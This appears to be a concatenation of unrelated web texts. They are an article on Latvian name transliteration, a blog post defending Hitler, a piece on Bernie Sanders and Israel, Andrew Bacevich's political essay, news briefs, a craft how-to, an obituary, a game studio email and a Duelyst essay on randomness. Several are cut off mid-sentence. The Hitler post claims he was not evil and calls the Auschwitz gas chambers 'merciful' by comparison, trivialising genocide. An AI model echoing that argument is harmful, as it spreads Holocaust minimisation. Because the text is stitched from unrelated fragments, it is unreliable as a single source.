Sensitivities over correct language use continue to run especially high in Latvia, especially concerning anything that smacks of Russification. Earlier this year, a member of the Latvian parliament publicly complained about the owners of Leningrad, a Soviet-themed bar in the central of the capital, because the name above the door was only in Cyrillic. Similar, and even more baffling for outsiders, was the angry reaction among some sections of the population at the temporary alteration in 2014 of the four iconic signs that welcome visitors to Riga at the various entry points to the city by road. To coincide with the capital’s year-long stint as European Capital of Culture, the diacritical mark above the “i” (the city is properly written “Rīga” in Latvian) was switched for a heart decorated with the city colours. In response, a number of prominent figures wrote an open letter to the mayor, protesting this act of “destruction and banality”. The author of the signs, the artist Valdis Celms, also commented that the change was “tasteless” and “kitsch”, and that the icon had been degraded. The State Language Centre imposed a fine on the relevant official from the transport department, citing it as an example of incorrect language use.
Because it was the specifically Latvian element of the sign that had been removed, it also drew accusations of globalisation, and even Russification (Riga in Russian is рига – also transliterated as “Riga”; the mayor, Nils Ušakovs, is of Russian origin). With this in mind, the justification given by an official from the transport department may not have been especially sensitive: “It’s nothing new. This is just as in Amsterdam, New York – these kinds of symbols are written there. Of course, we want to popularise our city not only at the level of the EU, but all over the world.”
Given Latvia’s traumatic 20th century, which saw war, deportations and repeated occupations, it’s perhaps rather remarkable that the orthography and conventions still remain more or less exactly as they were established by Mīlenbahs and Endzelīns over a hundred years ago. Those that were compelled by the occupying forces were often rather comical – the only change the Nazis demanded during their three-year occupation of Latvia, apparently, was that Germans should have any case endings tacked onto their names when translated into Latvian segregated by an apostrophe – thus “Gebels’a cepure” – “Goebbels’ hat’. They weren’t fussed about this being applied to others – but for Germans it was obligatory. The changes made under Soviet occupation were also fairly minor – two relatively rarely used letters, ŗ and ō, were formally excluded from the language, and the digraph “ch” was replaced by “h”. No alteration was made to the convention of altering the spelling of foreign names, including Russian ones – and thus the text under the statue of the gesticulating, goateed figure who once stood at the start of the city’s central boulevard read “Ļeņins”.
But will this remain the case? Can these conventions really have a future in an increasingly globalised world? Helmuts Caune notes that they are increasingly less rigorously observed with the growth of online media in Latvian – which is, like everywhere else, often low-quality and rarely proofread. He comments that more and more often he notices non-Latvian names left in their original form but placed in italics. It’s increasingly evident from emails and messages on social media that many Latvians don’t bother to transliterate any but the most familiar foreign names. Juris Baldunčiks also claims to have noticed a growth in what he terms “Latglish” among his students – who will usually speak English well, and perhaps one or two other languages as well – and who often express dissatisfaction with the conventions. And with increasing number of Latvians living and working abroad, bringing up children elsewhere, married to non-Latvian partners, there are likely to be many more “Marks”. But none of my interviewees, whether they were in favour of or opposed to the system, could see things changing any time soon. For better or worse, it seems that names like Vladimirs Putins, Bejonse Noulza and Veins Rūnijs are here to stay – at least in Latvia.
Will Mawhood is the editor of Deep Baltic
Header image – a plaque to Riga-born philosopher Sir Isaiah Berlin (or, in its Latvianised form, Sers Jesaja Berlins) – Alberta iela, central Riga
© Deep Baltic 2016. All rights reserved.
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Like this: Like Loading...Unlike most of the rest of the world, I do not see Adolf Hitler as the “personification of evil” or the most “evil” person that has ever existed.
Hitler was simply a politician like one of the many politicians today. And just like almost all politicians today, his actions were defined by a core belief, greed, ego and a certain love for the country he ruled.
The more sensitive readers would react now with “whoa! whoa! Hitler and love?! Hitler is EVIL! EVIL!”
Evil does not exist, but is a concept of the human intellect. What do we define as evil? We tend to associate unjust things with evil, or things we do not agree with. Essentially, what we feel or think is evil is simply what we do not agree with.
“Who cares about a technical definition? What Hitler did was EVIL! ”
Aiming to wipe out the Jews, that must be evil, right?
No.
As I just said, no one does anything without a reason. And like I just said, any man’s actions are trigger by his own ego, greed, and his core belief.
Hitler believed that the Jews were harming Germany. Hitler believed that the Treaty of Versailles was unjust. Hitler believed that Austria and the Third Reich should become united.
These all came from his belief.
“His beliefs are EVIL!”
No.
Like I just said, we define something as evil when this something does not agree with our moral standards.
Americans defined Communism as evil during the Cold War because they did not agree with it. Everybody being equal and controlled by the State did not agree with the “freedoms” of America. And because it did not agree with these Freedoms, Communism was defined as “bad” and “evil”.
Now in retrospect, can it really be defined as evil? No.
Of course I am not saying that what Hitler did was right. Of course not. I am saying that Hitler was not evil, but simply a man who did what he believed was right for the German people at that time. Of course, just like any politician today, his actions were also motivated by greed, ego and more greed. But it is important to make the distinction that Hitler was not an exception. He was simply a statesman who didn’t get away with it.
For example, Mao Ze Dong got away with it. Stalin (kind of) got away with it. The leaders of Meiji Japan got away with it.
And as a history major allow me to assure you, when comparing what the Japanese Imperial Army did in the 1930s and 1940s in South East Asia, the gas chambers of Auschwitz can be considered merciful.
“But Hitler brought misery to all of Europe! He is Evil!”
This might be what the more persistent readers will be saying/thinking.
Perhaps why the perception of Hitler being evil is so deeply rooted in so many peoples’ minds is that after WWII, the Allies needed to have a focus. The Meiji leaders of Meiji Japan perhaps are not remembered as completely evil because after WWII, the Western powers sought peace in Asia and Japan was a great trading partner. This left Hitler and Mussolini.
And naturally, Hitler got the Spotlight of Evil in history textbooks.
Yet, Hitler is not an exception even by today’s standards.
America’s War on Terror may be justified by the core belief of 9/11 and that the American Way is right without question. It is ironic that it seems that very few people have ever thought about why there is this hate to begin with.
Now in retrospect, we can see that a big part of the hate was the perceived American imperialism and greed. Greed for crude oil.
The pictures of people in the streets in the US when the death of Bin Laden was announced, that mad sparkle of euphoria in their eyes, cheering for the death of a man (disturbing, isn’t it?) was very much the same sparkle I saw in videos of German citizen when they cheered for Hitler.
So, do not brainlessly brand Hitler as pure evil. If you strictly judge, he was simply a man who did what he believed was right, along with greed and ego as motivators (just like any person today). Nothing more, nothing less.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Israel has been a bipartisan issue in US politics, at least since Democratic US president Harry Truman recognized the world’s only Jewish state. Support for Israel was instinctual regardless of one’s party affiliation because it was synonymous with American values.
But the rise in the popularity of US Senator Bernie Sanders signals an ominous change.
In the run-up to the 2016 elections, Sanders, the first Jewish presidential candidate to win a major party’s nominating contest, surrounded himself with people openly antagonistic to Israel. He chose Professor Cornel West and James Zogby as members of the 15-member Democratic platform committee. He tapped Simone Zimmerman, a vocal critic of Israeli policies, as director for Jewish outreach before firing her in the wake of outcry from a number of Jewish leaders.Sanders’ position on Zionism is generally favorable. But he has on occasion revealed his own bias against Israel and sympathy for Palestinian leadership.In a 2016 interview with the New York Daily News, Sanders said he thought the number of Palestinian civilians killed by Israel in the 2014 Gaza conflict was 10,000. To his credit, when Sanders was confronted with the real number, he eventually accepted it.Sanders is making headlines again after claiming in an interview Friday with the left-wing website The Intercept that the US is “complicit” in Israel’s occupation of the West Bank and Gaza and that, under certain circumstances, he would consider supporting reduction in the yearly $3 |
ers more interested in satisfying their own ambitions than in pursuing high ideals. Yet even I am prepared to admit that the status quo appears increasingly untenable. Incremental change will not suffice. The challenge of the moment is to embrace radicalism without succumbing to irresponsibility.
The one good thing we can say about the election of Donald Trump -- to borrow an image from Thomas Jefferson -- is this: it ought to serve as a fire bell in the night. If Americans have an ounce of sense, the Trump presidency will cure them once and for all of the illusion that from the White House comes redemption. By now we ought to have had enough of de facto monarchy.
By extension, Americans should come to see as intolerable the meanness, corruption, and partisan dysfunction so much in evidence at the opposite end of Pennsylvania Avenue. We need not wax sentimental over the days when Lyndon Johnson and Everett Dirksen presided over the Senate to conclude that Mitch McConnell and Chuck Schumer represent something other than progress. If Congress continues to behave as contemptibly as it has in recent years (and in recent weeks), it will, by default, allow the conditions that have produced Trump and his cronies to prevail.
So it’s time to take another stab at an approach to governance worthy of a democratic republic. Where to begin? I submit that Rabbit Angstrom’s question offers a place to start: What’s the point of being an American?
Authentic progressives and principled conservatives will offer different answers to Rabbit’s query. My own answer is rooted in an abiding conviction that our problems are less quantitative than qualitative. Rather than simply more -- yet more wealth, more freedom, more attempts at global leadership -- the times call for different. In my view, the point of being an American is to participate in creating a society that strikes a balance between wants and needs, that exists in harmony with nature and the rest of humankind, and that is rooted in an agreed upon conception of the common good.
My own prescription for how to act upon that statement of purpose is unlikely to find favor with most readers of TomDispatch. But therein lies the basis for an interesting debate, one that is essential to prospects for stemming the accelerating decay of American civic life.
Initiating such a debate, and so bringing into focus core issues, will remain next to impossible, however, without first clearing away the accumulated debris of the post-Cold-War era. Preliminary steps in that direction, listed in no particular order, ought to include the following:
First, abolish the Electoral College. Doing so will preclude any further occurrence of the circumstances that twice in recent decades cast doubt on the outcome of national elections and thereby did far more than any foreign interference to undermine the legitimacy of American politics.
Second, rollback gerrymandering. Doing so will help restore competitive elections and make incumbency more tenuous.
Third, limit the impact of corporate money on elections at all levels, if need be by amending the Constitution.
Fourth, mandate a balanced federal budget, thereby demolishing the pretense that Americans need not choose between guns and butter.
Fifth, implement a program of national service, thereby eliminating the All-Volunteer military and restoring the tradition of the citizen-soldier. Doing so will help close the gap between the military and society and enrich the prevailing conception of citizenship. It might even encourage members of Congress to think twice before signing off on wars that the commander-in-chief wants to fight.
Sixth, enact tax policies that will promote greater income equality.
Seventh, increase public funding for public higher education, thereby ensuring that college remains an option for those who are not well-to-do.
Eighth, beyond mere “job” creation, attend to the growing challenges of providing meaningful work -- employment that is both rewarding and reasonably remunerative -- for those without advanced STEM degrees.
Ninth, end the thumb-twiddling on climate change and start treating it as the first-order national security priority that it is.
Tenth, absent evident progress on the above, create a new party system, breaking the current duopoly in which Republicans and Democrats tacitly collaborate to dictate the policy agenda and restrict the range of policy options deemed permissible.
These are not particularly original proposals and I do not offer them as a panacea. They may, however, represent preliminary steps toward devising some new paradigm to replace a post-Cold-War consensus that, in promoting transnational corporate greed, mistaking libertinism for liberty, and embracing militarized neo-imperialism as the essence of statecraft, has paved the way for the presidency of Donald Trump.
We can and must do better. But doing so will require that we come up with better and truer ideas to serve as a foundation for American politics.
Andrew J. Bacevich, a TomDispatch regular, is the author of America’s War for the Greater Middle East: A Military History, now out in paperback. His next book will be an interpretive history of the United States from the end of the Cold War to the election of Donald Trump.
Follow TomDispatch on Twitter and join us on Facebook. Check out the newest Dispatch Book, John Dower's The Violent American Century: War and Terror Since World War II, as well as John Feffer's dystopian novel Splinterlands, Nick Turse’s Next Time They’ll Come to Count the Dead, and Tom Engelhardt's Shadow Government: Surveillance, Secret Wars, and a Global Security State in a Single-Superpower World.
Copyright 2017 Andrew BacevichBob Healy gives an interview Wednesday morning on WPIR 12 in Providence, R.I. (Source: Eyewitness News in Providence)
Bob Healey did not win the Rhode Island gubernatorial race. No one expected him to, seeing as he didn't plan to raise any money during his campaign.
He did, however, win 22 percent of the vote — 10 percent more than the last Brown University poll had projected -- while Democratic candidate Gina Raimondo beat Republican Allan Fung 40-36.
The substantially bearded Healey told a local news station Wednesday morning: “It’s amazing what $35 can do. As I’ve been saying, if we only spent $75, $80, we might’ve won the race."
On Tuesday night, Providence's Eyewitness News was a bit shocked. A political analyst said on air: “I don’t think anybody expected Bob Healey to get that high. We expected Bob Healey in double figures, maybe as high as 14 or 15 percent, but he really drew a lot of votes. Some communities he actually won, if I remember seeing the numbers correctly. He ran second in some communities."
Healey, analyzing his own success this year, says that it shows that people are sick of all the money getting spent in elections — and of the endless negative ads that are an unavoidable result. According to the Center for Responsive Politics, the 2014 election cost at least $3.7 billion.
The fact that Healey has been running for office in Rhode Island forever may have helped his "beard recognition," as Eyewitness News put it. When Healey sood next to his opponents this year, his beard and long hair did stand out.
This year he ran as a Moderate Party candidate after the original candidate dropped out because of health problems. He often runs as the candidate of the Cool Moose Party, which he founded in 1994.
Healey first ran for governor in 1986 as an independent, and got less than 2 percent of the vote. He has run for lieutenant governor several times, promising to abolish the office if he ever won. In 2010, he came in second place with 39 percent of the vote. He once ran for a local school board with the slogan, "Strange Man for a Strange Job."
His low-cost billboards — which the former house painter does mostly himself — are usually the most visible in Rhode Island during campaign season. He usually paints them on the side of his friends' houses.
His quirks are not limited to his campaign style. The biography he posted on his campaign Web site is so wondrous that, when paired with his beard, it may be fanciful enough that even Wes Anderson would raise an eyebrow if you told him about it.
A taste:
Away from politics, Bob started a liquor wholesale company with a partner. That liquor company went from zero sales to millions in just over five years. The company was sold and Bob took his share of the profit to South America where he invested in land. During these years, Bob had attempted several business ventures, many with little success. He started a wine company in Uruguay to import California wines, an ice cream company, and a yacht provisioning service, all of which were terminated. He had a wine brand labeled with his face that proved quite successful. He imported plate ware from Uruguay and opened a wine and cheese establishment in Warren.
Despite his recent impressive finishes in the polls, Healey told Eyewitness News that he might be done with politics, and is ready for young people to take his place.
"Maybe with all my gray hair I can retire at last," he said.
He also announced that his company has a "national liquor product that’s going to market probably the mid part of next year." We can only hope that it also features a label with his face on it -- just like his wine brand.After missing Miami's second scrimmage of fall camp, Hurricanes quarterback Jake Heaps told ESPN.com he was held out of Monday night's scrimmage as a precautionary message.
"Everything is fine," Heaps told ESPN.com in a phone interview on Tuesday, adding
that he's looking forward to returning to practice on Wednesday.
The Hurricanes are not practicing on Tuesday.
Heaps, a transfer from Kansas, was listed as a co-starter on the depth chart the Hurricanes released last week with true freshman Brad Kaaya.
According to a report released by Miami on Monday night, Heaps was held out of the scrimmage to rest his arm while Kaaya threw a pair of touchdown passes including a 3-yarder to Stacy Coley and a 9-yard scoring pass to Walter Tucker.
Quarterback Kevin Olsen also took snaps in Monday night's scrimmage and had a 9-yard touchdown pass to Tyre Brady.
Follow this link to read ESPN.com's full report.Just don't call it the Linux Hololens!
An Ubuntu powered augmented reality (AR) helmet will be on show at Mobile World Congress, 2017.
The DAQRI smart helmet is built and developed by DAQRI and is powered by an Ubuntu AR application.
But before you get excited about playing some sort of immersive VR Super Tux Kart you should know that the helmet is not targeted at gamers or enthusiasts; it’s also not a VR headset, unlike the Microsoft Hololens it uses augmented reality vs mixed reality.
So think of it less of an Ubuntu Hololens and more of a souped-up set of cyborg Snappy Ubuntu Core goggles.
A terse primer on the virtual reality vs mixed reality vs augmented reality:
Virtual Reality (VR) immerses you in a fully simulated 3D world.
Augmented Reality (AR) overlays data on top of your current view of the world.
Mixed reality augments the real world with virtual objects that look as if they exist in the real world.
For Use In Industry, And Not Your Bedroom
DAQRI say they developed the headset for “use in industrial settings” where it will be used to “bring to life all the data generated by the new world of Industrial Internet of Things”.
Their shiny helmet is powered by a 6th generation Intel Core m7 processor, and features high-speed, wide-angle camera with their own dedicated processor for augmented reality applications.
“The transparent display has been ruggedized for industrial environments and its high brightness makes it suitable for indoor and outdoor use. An integrated RGB camera, a stereo infrared cameras with an infrared light projector work together intuitively allowing the helmet to infer depth,” the company say.
A thermal camera is also included so that the wearer is able to passively monitor sensitive industrial equipment.
“By overlaying data onto the display, thermal anomalies can be quickly identified”.WRAL
April 30, 2009
Oxford, N.C. — Sixteen-year-old Ashton Lundeby’s bedroom in his mother’s Granville County home is nothing, if not patriotic. Images of American flags are everywhere – on the bed, on the floor, on the wall.
[efoods]But according to the United States government, the tenth-grade home-schooler is being held on a criminal complaint that he made a bomb threat from his home on the night of Feb. 15.
The family was at a church function that night, his mother, Annette Lundeby, said.
“Undoubtedly, they were given false information, or they would not have had 12 agents in my house with a widow and two children and three cats,” Lundeby said.
Around 10 p.m. on March 5, Lundeby said, armed FBI agents along with three local law enforcement officers stormed her home looking for her son. They handcuffed him and presented her with a search warrant.
“I was terrified,” Lundeby’s mother said. “There were guns, and I don’t allow guns around my children. I don’t believe in guns.”
Read entire articleThough my thumb is far from green, I look forward to planting my garden each spring. In the early stages of a garden, most of us need a reminder of what is planted where. I’ve never seen markers in my grandpa’s garden, but I am far from that point in my own gardening skills. This year, I wanted to add a few punches of color among the dirt and early sprouts, so I created little marker flags. I found a bag of quilting pieces at a flea market for $1, and since I am not a quilter, I used the beautifully aged fabric (and latex to make it waterproof) to mark my garden. — Ashley
CLICK HERE for the full how-to after the jump!
Materials
small pieces of fabric
rubber latex (found at craft stores, usually in the model section)
paintbrush
small dowel rods
craft glue
scissors
Sharpie or waterproof marker
Instructions
1. Coat the top side of the fabric with the latex rubber. You want to saturate the fabric, but be mindful of not gluing it to your surface.
2. Let the top coat fully dry. You can gently move the fabric around to prevent it from sticking to your surface.
3. Coat the bottom side of the fabric with the latex rubber. The latex will make the fabric waterproof, but be mindful that latex sticks to latex. You want to place the top side of the fabric (that has already been coated with latex) on a fresh surface when painting the underside. Let the fabric dry completely.
4. Once the fabric has completely dried, trim the edges and cut into your desired shape.
5. Glue the fabric to the dowel rods. I recommend starting with just the edge of the fabric and letting it dry. Once the edge is attached, begin wrapping the fabric completely around the dowel, gluing as you go. Use clothespins to hold in place while drying.
6. Use a Sharpie to write your vegetable and fruit names.
YOU’RE DONE! As your garden grows, the flags will disappear a bit among the leaves but will still add a little colorful whimsy to your garden.David Rayfiel dies at 87; screenwriter collaborated with Sydney Pollack
He was a master script doctor and often uncredited on Pollack's films that frequently featured Robert Redford, including 'Three Days of the Condor,' 'The Way We Were' and 'Out of Africa.'
"My dad was never the same after Sydney died" at 73 in 2008, "but he did continue working," his daughter said.
The rich collaboration between Pollack and Rayfiel began in the early 1960s, endured for more than 40 years and encompassed at least 15 films.
Rayfiel died Wednesday at Mount Sinai Medical Center in New York City of congestive heart failure, said his daughter, Eliza Roberts.
David Rayfiel, a screenwriter and master script doctor who made his mark — often uncredited — on films by director Sydney Pollack that frequently featured Robert Redford, including "Three Days of the Condor," "The Way We Were" and "Out of Africa," has died. He was 87.
When "Out of Africa" (1985) won an Academy Award for best picture, Pollack thanked Rayfiel for "keeping us honest." Kurt Luedtke, upon accepting the Oscar for his screenplay, also acknowledged Rayfiel.
The film was one of several that came out of an alliance that included Redford, who appeared in Pollack's "Havana" (1990), "The Electric Horseman" (1979) and "Jeremiah Johnson" (1972), all of which Rayfiel wrote or rewrote.
Redford considered Rayfiel "the unsung hero of almost every picture Sydney Pollack and I have made together," Redford told the New York Times in 1986.
Most screenwriters "write on the surface," Pollack said in the 1986 article. "If they want you to know something about a character, they'll simply have the character say it or have another character say it about him. David doesn't do that. He writes elliptically, so it comes out organically, the way you would know something about someone in real life."
Barbra Streisand, who sought Rayfiel's input for her 1983 film "Yentl," said in 1986 in the New York Times that he could show friction in a relationship by having a couple talk "about pits in their orange juice when they're really saying the marriage is over. That's what David is so good at."
Fluent in French, Rayfiel had worked with French director Bertrand Tavernier on the futuristic drama "Death Watch" (1980) and "Round Midnight," a well-reviewed 1986 film about a self-destructive American jazzman living in Paris.
Director Ingmar Bergman turned to Rayfiel for help on the 1977 film "The Serpent's Egg" as did director Sidney Lumet for the 1986 mystery "The Morning After," which featured Jane Fonda as an alcoholic actress.
Within the movie business, Lumet told the New York Times in 1986, "the word is, if you've got trouble with your picture, get David."
Born Sept. 9, 1923, in New York City, he was the second of three sons of Leo F. and Flora Rayfiel. His father was a Democratic congressman and a judge.
After growing up in Brooklyn, he attended Brooklyn College but left to serve in the Army in Europe during World War II.1 of 10
NBA All-Star best dressed Jimmy Butler, Russell Westbrook and James Harden bring a little NBA style to the first big parade weekend of Mardi Gras. 2 of 10
Hall of Fame finalists 3 of 10
Jarrius shoots and scores The Saints superfan is everywhere all weekend, but he steals the show by coming out of the stands and draining a shot. 4 of 10
The three-point champ Gordon returns to New Orleans and turns boos to cheers, beating Kyrie Irving 21-18 in a shootoff for the title. 5 of 10
The 2017 dunk champ 6 of 10
A hollow leg At Coco Bongos, a "mobile sports bar" at Canal and Bourbon, an extra shot is $3, but the hangover is free. 7 of 10
The Game Scene 8 of 10
Anthony Davis is your MVP A big night: the MVP breaks Wilt Chamberlain's All-Star record and gets a new teammate in Demarcus Cousins. 9 of 10Dear Subscribers,
It has come to light that in our last email to you we mistakenly addressed the greatest virtual reality platform the world has ever seen as the “THC Vive”. This was immature jokery of the lowest order and we would like to apologise unreservedly to both HTC and everyone who was offended.
As we release our beautiful ungendered baby “Accounting for the HTC Vive” into the world, we would like to impress upon you Crows Crows Crows’ unconditional commitment to the Virtual Reality Revolution. It is the future, and we are committed to unreservedly producing amazing content to be enjoyed by those fortunate enough to have the appropriate wealth and large enough houses.
We love Virtual Reality – and as the weighty headsets press into our face-flesh we truly feel alive for the first time. This is the future. VR is the future. Let us suckle at the teat of VR and grow stronger together.
Accounting is out now on Steam. It was created by us and Rick & Morty co-creator Justin Roiland during a short trip to Los Angeles. Justin’s studio Squanchtendo is also VR-Positive.
Play Accounting here. (You’ll need a free space of 2 meters by 1.5 meters and a HTC Vive).
Praise be to VR.
Crows Crows CrowsHello Duelysts and Duelystas –
this seems like the most appropriate time to dwell on this particular topic. I’m going to approach it as a mix of player and designer – we already have a lot of the player-end output on Reddit and such, so it is prudent not to repeat a lot of it but to focus on key ideas. It’s actually quite long so I don’t expect you to read all of it in one go (do it because you find it interesting ) – just get to your topic-of-interest and respond to it. (Some of this content will be familiar to you if you read my posts around January/February, but if not, it’s all good stuff! I also credit a few designers along the way, as not all the text here is mine.)
Let’s get the easiest one out of the way
Mechaz0r! –
Every so often we see a post about how this is imbalanced. There are a few things underlying here – Mechaz0r! is a fairly strong example of the randomness argument that we see, even if it isn’t always obvious. Mech decks reward packing 10-12 (often not all 15) mechs and some supporting spells to try for a quick overwhelm before the opponent can stabilise. It is inherently ‘dependent’ – everyone who’s played a mech deck has lost games with 4 mechs at turn 5 – (and apparently everyone who loses to it does so on turn 2) – and it is dependent even in its most reliable answers – Crossbones, Hollow Grovekeeper, Sunset Paragon – and in factions like Vetruvian or Abyssian, your best line of defense is one that is at the mercy of drawing randomness.
Replace helps, a fair amount in terms of raw percentages, but at its heart the whole thing is a multi-turn combo deck which is only problematic in the lack of dedicated spell-shield removal for some factions. There is an argument that some factions should keep this as a weakness by design – but perhaps a healthier Mechaz0r! may yet be possible. (Most of this incidentally pertains to newer players – which is a group we are most interested in keeping around – but actually Mech decks are preferred by many established players to climb the ladder, so the game is at a point where mechs are viable.)
There is something decks like mech do bring to the game – an ability for a potentially weaker player to win over a stronger player who is not prepared for such a strategy. This ties in with something that is asked in development as well – How often should a weaker player beat a stronger player despite the difference in skill? – and while the most competitive players will answer closer to 100%, there is a reason developers ought not to let that happen. Brings us nicely on to a concept that Magic: The Gathering, among other games, uses (Thanks to Mark Rosewater):
Catch-Up Feature
There needs to be a way for players that have fallen behind to catch up. A game becomes frustrating if a player feels like he or she has no chance to win.
Another way to think of this requirement is the idea of investment. In order for a game to function at its best, all its players have to care. If they don’t then the core of the play group’s attention will shift from the game. How do you keep focus on the game? By keeping all the players invested in it. The biggest reason players disconnect from a game is because they no longer have any investment. The number-one cause of this is a belief that you can’t win. The point of the game is to complete the goal of winning. Once you are no longer able to do that (or, more importantly, once you no longer believe you can do that) the game stops having any pull over the player.
The classic way to do this is to build something into the game that allows players that are behind to catch up. There might be some random event with a huge swing. Players in the lead might pick up handicaps. The game might be built such that the gains made in the game get larger as the game progresses. No matter how you do it, it’s important to make sure that players always have something to hope for even if that hope is a small one.
Because cards have variance based on where in the game they are drawn, they make sure that there are always good and bad draws. This swing in utility allows players who are behind to make dramatic comebacks. In addition because the draws are hidden information it helps keep players in the game because there is always the hope of a drawing a card that will swing the game in their favour.
A word about Chess –
some of us like that game a lot, find it exciting even. General perception though, is that its a boring game. The result in chess, more than any card-based game, is decided when we begin it – usually both players trot out moves, the weaker player makes a small mistake (simply improper positioning of pawns to much worse), the better player accumulates advantages, gets a favourable endgame 20 moves in and plays 20 more moves to get the win or the concede. Catch-up or game finisher cards and draw randomness avoid this ‘boring’ feeling, but those same cards also bring people who call it ‘devaluing skill with RNG’.
Types of Randomness
Looking at randomness itself – there are a few distinct types we can separate out into: Absolute – pure coin flip – Wild Elemental
4 mana 8/8
Minion
When you summon Wild Elemental, flip a coin. If tails, destroy it. Total disaster. This is the type of card we, as players, hate. We, as spectators, hate. No way you can manage this situation with skill, no way you can influence it unless the game allows you to rig coin-toss outcomes. Avoid. Execution – difficult in card games generally, as this is in regard to a mechanical skill. We actually get an indirect form in Duelyst where players don’t Replace at the start of their turn and potentially miss a better move or move sequence – this is actually surprisingly underrated as an improvement factor too. I still find players who Replace at strange times throughout their turn and often this decreases optimal play. Positioning for random spawns is another example. Yomi – mind-reading. Not a joke, I swear – Yomi is a pure form of meta-gaming your opponent, if you will. Often not tested as much on ladder, it is highly respected in tournament games. This is the sort of ‘luck’ that sees you packing in a Crossbones expecting a Mech deck, or Hollow Grovekeeper. When it fires, your opponent calls you lucky.
In a game I played against a very strong Burn Abyss player, he brought me down to 4hp, I had 5 cards in my hand and knowing he’d played 2 Dark Seeds and 2 Revenants already, I could gamble with 4 hp to their 7hp and pull a win next turn. I played Ironcliffe and Martyred it, instead of Ironcliffe + Holy Immolation to bring then down to 3hp so I could kill their General next turn. That extra 10 hp helped immensely when I got hit by their Revenant next turn. I’d won by not getting the dmg in that would be a win next turn by ‘reading’ what the other player was doing. There is another good reason for having more Yomi in games – When it comes to outwitting your opponent, you won’t have enough time to counter your opponent’s move if you wait until it animates on the screen; you must predict what your opponent will do in order to counter it. Games rich in yomi often provide a multitude of options to players: safe plays, risky gambles, all-ins, hard counters, soft counters, and the ability to trade resources for information (for example, by scouting with a worker in StarCraft). The blending of play skill and yomi luck can create a complex web of interaction that rewards experienced players. Many yomi situations allow experts to crush new players by exploiting their natural tendencies or lack of understanding. However, in expert vs expert games where both players have a mastery of the rules and mechanics, yomi situations often devolve into purely arbitrary outcomes that depend highly on luck rather than skill. Nevertheless, this can have some benefits: players feel accomplished when they ‘outplay’ their opponents, even if they simply got lucky. I may have gotten lucky with my ‘Martyr the Ironcliffe’ decision, but I sure as hell feel like I outplayed my friend
Now we come to what Keeper is like
– a soft form of controlled randomness that often (not always) improves deck-building strategy. Now I admit that sounds ludicrous. So, ENHANCE!
Let’s examine, Keeper provides a form of ‘input randomness’ (both players are aware of which minions have already died and thus the available pool from which the random card is selected). The deck-building strategy part is the minions chosen for the deck. If I throw Keeper in to a Mech deck, I’ll get mostly stat-efficient results but not necessarily strategy-efficient results. The randomness will be high if I run this deck but choose to run Archons in it. If I design a deck with six 2-cost minions and expensive high-impact minions, I am instead, in a controlled manner, gambling at getting a copy of that minion for 5 mana with a bonus Keeper body on the side.
This mechanic is why I and some others preferred a change to its body rather than the concept behind it, because the body was far too durable to also warrant my other (ideally) more important minion to accompany it. The downside was too little, rather than the randomness being too high. This is incidentally also what I think about Sworn Sister L’Kian – the downside of drawing 2 random cards is too little when the replace mechanic is taken into account (nod to /u/The_Frostweaver on Reddit, who I would have responded to in a thread but didn’t want to comment further on a thread which by its nature offered little room for constructive discussion).
This below is another important tenet – over a large number of games, the player must not feel like he is not in control of the outcome of his games. To an extent we are fine with losing control in single-player games, but the perceived threat of losing control to a random roll in a multi-player game exists because of the negative outcome. Conversely the higher the perceived lack of control, the more likely we are to blame external factors for our loss.
Something worth noting – even in games with no demonstrable randomness,
beginners thought they lost because they were unlucky.
This pertains to a game where you start off with resources, but instead of drawing cards for minions, you have your chosen set of minions and you pay the appropriate resource to summon your chosen minion. The game allows you to therefore rush with cheap guys or wait and summon a big unit. And yet they didn’t blame themselves for losing, choosing instead to term the other player ‘lucky’ for happening to choose the correct counter unit. (Thanks to Prismata Dev)
Randomness may increase output of skill without affecting outcome of game
A quick jump over to Faeria for a moment – to demonstrate another random effect that enhances skill-based game play – Bold Bargainer vs Less Bold Bargainer. Bold Bargainer – 6 faeria
When you summon Bold Bargainer, reduce the cost of a random card in your hand by 6.
3 attack, 3 life Faeria is the game’s core resource. You stockpile it over your turns and use it to play your cards. Playing Bold Bargainer means that a random card in your hand is going to get its cost reduced by 6. This is a huge discount. If you can take full advantage of it, you get a decent creature for free. However, you can’t reduce a card’s cost below 0. If the Bold Bargainer’s ability randomly selects a card in your hand that costs only 1 faeria, you’re going to lose a lot of value. This simple design has deep strategic implications. The first thing it affects is your deck construction. Bold Bargainer is clearly best when everything in your hand costs 6 or more, to ensure that it will hit something you want it to. Cards that cost less than 6 faeria are suddenly significantly worse in your deck than normal. Meanwhile, more expensive cards naturally become more desirable. But it doesn’t stop there. Bold Bargainer also gives you strategic decisions to make while playing. Because you can’t really afford to just run cards that cost 6 or more faeria, you’re going to have to include some cheaper cards in your deck. When deciding which cards to play each turn you might want to keep higher cost cards in hand when possible. This will maximize your eventual chances of hitting a good target with Bold Bargainer.
Now let’s compare it to a version that doesn’t use RNG.
Bold Bargainer – 6 faeria
When you summon Less Bold, choose a card in your hand. its cost is reduced by 6.
3 attack, 3 life Less– 6 faeriaWhen you summon Less Bold, choose a card in your hand. its cost is reduced by 6.3 attack, 3 life The Less Bold Bargainer doesn’t take much skill to play well. You can put it in just about any deck that has at least a few high cost cards. Just wait until you draw just one to combine with it. You don’t have to think about hand-management nearly as much. Also, when you do have several high-cost cards in hand you’ll just reduce the cost of the one you want to play sooner. That’s a decision, but it barely adds anything to the normal decision-making process of what you want to play. Fewer deck-building decisions, fewer game play decisions, overall a much less skill-intensive card. (Thanks to Dan Felder, Faeria Dev)
Additionally, getting a hand with absolutely no cards that cost less than 6f, while you also have enough resources to play the Bargainer, can be difficult. You might realize that playing the bargainer before you can ensure its value is actually the best move. Sometimes you need an extra creature on the board right now, or you just have to accept the risks of not reducing the cost of the card you really want.
Now for the field I have experience in – human psychology. Players tend to credit their victories to their skill and blame their losses on bad luck. This is a well-documented psychological effect, and it lets people feel better about themselves while playing your game. nearly everyone thinks they’re above average in a lot of things. At my workplace, in my school, college, uni – I always think I am the top percentage. And yet, that can’t be right or I’d be in a little more demand than I am now Maybe I haven’t found my field yet, who knows, eh? Even here I can attribute my current life state to factors outside my control rather than at my inability to grasp ample opportunities. That’s all of us in a nutshell.
